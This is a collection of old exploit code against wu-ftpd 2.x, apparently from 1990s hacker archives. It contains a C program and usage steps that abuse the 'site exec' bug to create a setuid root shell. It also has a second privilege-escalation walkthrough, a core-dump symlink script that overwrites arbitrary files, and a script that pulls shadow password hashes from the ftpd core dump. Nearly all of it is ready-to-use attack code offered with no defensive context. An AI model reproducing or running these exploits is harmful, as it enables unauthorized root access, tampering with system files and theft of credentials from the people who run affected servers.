/*
Explot wu-ftp 2.x (site exec bug)

You need to have an account on the system running wu-ftpd

Compile this program in yer dir:
        cc -o ftpbug ftpbug.c

Login to the system:

220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready. 
Name (exploitablesys:root): goodaccount
331 Password required for goodaccount.
Password: (password)
230 User goodaccount logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"      (see if sys is exploitable)
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200  (end of 'bash -c id')
ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
200-bash -c /yer/home/dir/ftpbug
200  (end of 'bash -c /yer/home/dir/ftpbug')
ftp> quit
221 Goodbye.

Now you have a suid root shell in /tmp/.sh 
Have fun

StaTiC  (statik@free.org)

*/


#include 
#include 
#include 

main()
{
   seteuid(0);
   system("cp /bin/sh /tmp/.sh");
   system("chmod 6777 /tmp/.sh");
   system("chown root /tmp/.sh");
   system("chmod 4755 /tmp/.sh");
   system("chmod +s /tmp/.sh");
}


+++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++

This shows you how to use the wuftp2.4(1) hole to gain root.

On the VICTIM system, compile the following C code:           
######## CUT HERE #######
main()
{
setuid(0);
seteuid(0);

system("cp /bin/sh /tmp/suidroot");
system("chmod a+rwxs /tmp/suidroot");
}
####### CUT HERE #######

Now create a shell script, called root.sh, that contains the following:

####### CUT HERE #######
exec a.out      <----- a.out is the name of the compiled C code
####### CUT HERE #######

Now, FTP localhost, login as your account on that system and:

ftp> quote site exec sh root.sh

Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

#!/bin/sh
#
# exploit a bug in wu-ftpd to create a file anywhere on the filesystem
#  - files that already exist will be overwritten, but they won't
#    be writable.
#
# tested under Solaris 2.5
#
# James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
#

if [ $# != 2 ]
then
 echo "usage: `basename $0` sourcefile dstfile"
 exit 1
fi

SRC=$1
TARGET=$2

USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS

WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
mkdir $WDIR

ln -s $TARGET $WDIR/core

ftp -n localhost << _EOF_
quote user $USER
quote pass $PASS
cd $WDIR
user root woot
quote pasv
_EOF_

if [ ! -f $WDIR/core ]
then
 echo "Sorry, your ftpd didn't dump core."
 exit 1
fi

ls -l $WDIR/core
cp $SRC $TARGET
if [ $? != 0 ]
then
 echo "copy of $SRC to $TARGET failed."
 exit 1
fi

echo "Done; $SRC should now be $TARGET."

exit 0


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

#!/bin/sh
#
# exploit a bug in wu-ftpd to assemble & view the shadow passwd file
#
# Tested under Solaris 2.5
#
# James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
#

USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS

WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
mkdir $WDIR
TMP=$WDIR/strings.tmp

ftp -n localhost << _EOF_
quote user $USER
quote pass $PASS
cd $WDIR
user root woot
quote pasv
_EOF_

if [ ! -f $WDIR/core ]
then
 echo "Sorry, your ftpd didn't dump core."
 exit 1
fi

strings $WDIR/core > $WDIR/tmp

# try to assemble as much of the shadow passwd file as possible
# (easier in perl)

for user in `cat /etc/passwd | awk -F":" '{print $1}'`
do 
 line=`grep \^${user}: $WDIR/tmp`
 echo $line
done 

rm -f $TMP

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++